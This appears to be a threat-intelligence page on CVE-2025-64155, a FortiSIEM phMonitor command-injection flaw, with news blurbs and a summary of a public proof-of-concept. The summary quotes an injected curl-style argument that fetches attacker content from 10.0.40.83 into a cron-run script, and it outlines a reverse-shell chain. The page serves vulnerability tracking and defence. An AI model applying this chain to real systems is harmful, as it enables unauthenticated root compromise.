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CVE-2025-64155 is a critical OS command injection vulnerability in Fortinet FortiSIEM affecting the phMonitor service, including the phMonitorProcess::initEventHandler code path. The flaw results from improper neutralization of special elements used in OS commands combined with remotely reachable command handlers that can be invoked without authentication. Available technical reporting indicates attacker-controlled input can reach shell-invoking logic associated with storage configuration handling, enabling argument injection into command execution. This can be triggered through crafted TCP requests to the phMonitor service on affected FortiSIEM Super and Worker nodes. Successful exploitation allows remote unauthenticated execution of unauthorized commands and code, and public research describes exploit chains that progress from command execution in the admin context to full root-level compromise of the appliance.
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1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (4 hidden).
Repository contains a working PoC for CVE-2025-64155 (Fortinet FortiSIEM) achieving argument injection → arbitrary file write → root RCE. Structure: - CVE-2025-64155.py: Main exploit. Opens a TLS socket to the FortiSIEM Phoenix Monitor service (default port 7900) and sends a crafted binary-framed message containing an XML <TEST_STORAGE type="elastic"> payload. The key exploit primitive is injection in <cluster_url>, appending extra arguments (e.g., “--next -o /opt/charting/redishb.sh http://10.0.40.83:9200”) to coerce the target’s internal URL-testing script to fetch attacker content and write it to a chosen path. - serve.py: Minimal HTTP server on port 9200 that responds only to GET /_cluster/health?pretty with a bash script (example reverse shell). This is the second-stage content the target is tricked into downloading. - README.md: Usage notes and cautions. Describes editing serve.py payload and cluster_url, running the web server, then running the exploit, and waiting ~1 minute for a cron job to execute the written script. Capabilities: - Remote network exploitation over TLS to a service endpoint. - Forces the target to make an outbound HTTP request to attacker infrastructure. - Writes a script to /opt/charting/redishb.sh and relies on scheduled execution for root code execution (example reverse shell to 10.0.40.83:4447). Overall, this is an operational PoC with a hardcoded example payload and endpoints, intended for controlled testing rather than a generalized framework module.
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111 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A critical command-injection vulnerability in FortiSIEM that was reported as being under widespread exploitation.
FortiSIEM OS command injection leading to unauthenticated RCE.
A critical vulnerability in Fortinet FortiSIEM that the article states has been exploited in the wild; no additional technical details are provided in the text.
An unauthenticated remote code execution vulnerability in Fortinet FortiSIEM’s phMonitor (pMonitor) service, attributed to improper neutralization of user-supplied input to an exposed API endpoint; described as leading to command injection/arbitrary file write and RCE.
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YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
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